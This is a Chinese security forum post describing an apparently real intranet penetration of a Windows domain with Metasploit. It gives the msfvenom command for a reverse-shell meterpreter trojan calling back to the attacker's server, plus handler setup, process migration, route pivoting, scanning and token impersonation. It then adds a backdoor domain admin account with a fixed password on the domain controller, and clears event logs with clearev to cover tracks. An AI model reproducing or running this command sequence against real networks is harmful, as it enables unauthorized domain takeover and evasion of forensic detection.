打瞌睡的状况下写的无质量msf内网

小熊保安   ·   发表于 2021-09-27 19:34:06   ·   实战纪实

本来还是想用cobalt strike,但是由于某些原因,暂时关闭了cobalt strike的服务器,正好用msf尝试做一次内网渗透熟悉熟悉,注:最初用蚁剑看了一下,此次目标主机没开杀软,所以以下内容不涉及免杀.

一、MSF生成木马上线目标

0x01. 生成木马

使用命令: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=XXX.XXX.XXX.XX LPORT=4444 -f exe > exp.exe 创建一个msf的木马(不免杀版本)
其中 -p 后面的内容是使用的 payload类型,LHOST是vps的地址,LPORT是端口

0x02. 监听端口

命令: use exploit/multi/handler 使用msf的监听模块
设置payload: set payload windows/x64/meterpreter/reverse_tcp 这里和生成木马的时候写的payload要一样,否则会链接不上,如下图

设置监听地址以及端口:
set lhost xxx.xxx.xxx.xxx
set lport 4444
设置好了之后 直接run 监听起来。

0x03. 弹回Meterpreter会话

将生成的msf的木马上传到目标服务器上,然后直接运行

运行之后,vps的msf会收到一个弹回的meterpreter会话

0x04. 进程迁移

为了会话的稳定性,将meterpreter shell迁移到其他不易被关闭进程上,通常是explorer.exe(文件资源管理器)

手动迁移进程命令:migrate -N ProcessName 或者 migrate PID

命令执行后的回显有completed successfully即为迁移成功.

车都有12345档,msf进程迁移当然也有手动档和自动档。
如果需要自动迁移进程,在使用handler监听器的时候配置一下即可。
use exploit/multi/handler
set autorunscript migrate -N explorer.exe

做完以上操作之后就可以开始信息搜集了。

二、信息收集(随便搜集搜集得了)

可以用meterpreter的语法,也可以用让meterpreter弹回一个cmd命令窗口
meterpreter下执行execute -f cmd.exe -i或者shell即可弹回一个cmd命令

0x01. 我是谁?我在哪?

命令whoami和systeminfo回显的信息,可以看到当前权限是system,存在域并且只是一台成员机,win版本是Windwos server 2016

0x02. 我的门牌号?女房东的门牌号?

挨批康飞哥哦 查看ip地址 ipconfig .all 走一个
可以看到本机ip是:10.1.81.100和102
域控地址是10.1.81.101

为了确认一下域控地址,还是ping一下域控吧

这里这两个同网段的ip是我没想到的,有没有表哥知道这样是什么意思,两者都加上了首选.

0x03. 域内信息

域内主机就俩?跟我开玩笑呢?
域控名字SRVAxxxx
域管理员倒好,就Administrator

三、主机探测和存活扫描

0x01. 添加路由

  • 获取当前会话的网段
    run get_local_subnets 获取当前会话的网段

  • 添加路由
    方法一:run autoroute -s 10.1.81.0/24
    方法二:background挂起会话后运行 route add 10.1.81.0/24 1

  • 查看路由是否添加
    方法一:run autoroute -p
    方法二:挂起会话后运行 route print

可以看到路由成功添加了。

0x02. 端口扫描

直接搜索端口扫描模块:search portscan 使用端口扫描
arp_sweep、tcp、udp、dbnmap等方式探测存活
auxiliary/scanner auxiliary辅助模块下的scanner里面都是扫描

差不多得了,不扫了,扫半小时就这么点儿 恶心,下次用其他模块扫

0x03. 基于arp探测存活主机

四、MSF-令牌窃取

  • 进入隐身模式:use incognito
    我这里已经加载过了,所以显示already been loaded,第一次加载应该是Success

  • 列出可用的令牌

  • 模拟令牌

命令:impersonate_token axxxx\Administrator
这里域名后面斜杠要写俩,不然要报错(我没试过,属于是直接抄答案了)

这样就窃取到了用户令牌

此次渗透到此为止…搞错了…再来

五、操作域控

命令:add_user admin1 QwEr..123. -h 10.1.81.101

创建用户,提示权限不足,现在的权限是Administrator,再getsystem一下,拿到system权限

使用add_user添加用户以及add_group “domain admins”添加域管理员命令
添加域管命令:add_group_user “domain admins” admin1 -h 10.1.81.101

  • 进入cmd查看命令是否生效

成功在域控上创建一个admin1用户并且添加进了域管理员组

0x01. 建立IPC$链接

命令:net use \10.1.81.101\c$ “QwEr..123.” /user:xxx\admin1


打完收工

0x02. 痕迹清理

删除创建的用户:net user admin1 /del
删除日志:clearev

用户名金币积分时间理由
Track-手电筒 80.00 0 2021-09-29 21:09:42 一个受益终生的帖子~~

打赏我,让我更有动力~

3 Reply   |  Until 4个月前 | 268 View

山屿云
发表于 4个月前

强啊师傅

评论列表

  • 加载数据中...

编写评论内容

test_707
发表于 4个月前

好文,渗透大师,666

评论列表

  • 加载数据中...

编写评论内容

spider
发表于 4个月前

早就说过了 保安一直在扮猪吃老虎

评论列表

  • 加载数据中...

编写评论内容
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.